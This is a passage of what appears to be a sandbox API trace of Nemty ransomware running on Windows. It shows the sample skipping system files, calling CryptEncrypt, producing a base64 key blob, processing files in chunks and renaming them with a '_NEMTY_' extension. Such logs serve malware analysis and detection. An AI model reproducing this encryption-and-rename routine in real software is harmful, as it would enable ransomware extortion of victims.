(in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.232] CloseHandle (hObject=0xffffffff) returned 0 [0145.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0145.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0145.232] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0145.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0145.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0145.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_flyout.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_flyout.png._nemty_kgobjgd_")) returned 0 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0145.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.233] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2=".") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="..") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="...") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="windows") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="$RECYCLE.BIN") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="rsa") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="NTDETECT.COM") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="ntldr") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="MSDOS.SYS") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="IO.SYS") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="boot.ini") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="boot.ini") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="ntuser.dat") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="desktop.ini") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="CONFIG.SYS") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="RECYCLER") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="BOOTSECT.BAK") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="bootmgr") returned 1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="programdata") returned -1 [0145.233] lstrcmpiW (lpString1="navBack.png", lpString2="appdata") returned 1 [0145.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navBack.png", lpUsedDefaultChar=0x0) returned 11 [0145.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.233] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navBack.png", lpUsedDefaultChar=0x0) returned 11 [0145.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navBack.png", lpUsedDefaultChar=0x0) returned 11 [0145.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="navBack.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="navBack.png", lpUsedDefaultChar=0x0) returned 11 [0145.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401c8 [0145.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0145.234] Sleep (dwMilliseconds=0x5) [0145.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa38e750, dwHighDateTime=0x1d561e8)) [0145.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa38e750, dwHighDateTime=0x1d561e8)) [0145.249] GetLastError () returned 0x5 [0145.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.249] GetLastError () returned 0x5 [0145.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.250] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.250] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.250] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340270 [0145.250] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340270, pcchString=0x653e91c | out: pszString="V+Td0vDZFCHeXtV/xK+VWCKk80WYPdDGoUoQrVfhHa2VwtyYNBvZ3RMeCCEoYopg\r\nAgmuG9SRSS7jV0w3eLUQxf40K/27hi+o4kVPJ7pX0Wd3wTWDApaRzlH2UNkrsGkl\r\nFVVHxaQmztbgciwtQzQOlGwEWtTjTkn4iA/xPOsLKb7MWzOYidz1r8RKJKUwk+lg\r\nDRTuCgsbav5A7gjLQBX1Z6jYPSuwz7Mvjzo4T90TzSWj3GwQGRXiXl9IVe7u2Twq\r\nZpw9QLBq/iXS1JMfy38xMGbzoKKcG0XawAXNOHJIzzSNoIK+Ihi3Z4CIC+/ypNLC\r\nLLBYaQl3TO4HzJG7P1QSUw==\r\n", pcchString=0x653e91c) returned 1 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0145.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340270 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.250] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.250] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.278] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.278] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.297] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.297] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340270, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.356] CloseHandle (hObject=0xffffffff) returned 0 [0145.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403e0 [0145.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340488 [0145.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0145.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0145.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\navBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\navback.png"), lpNewFileName="C:\\Program Files\\Windows 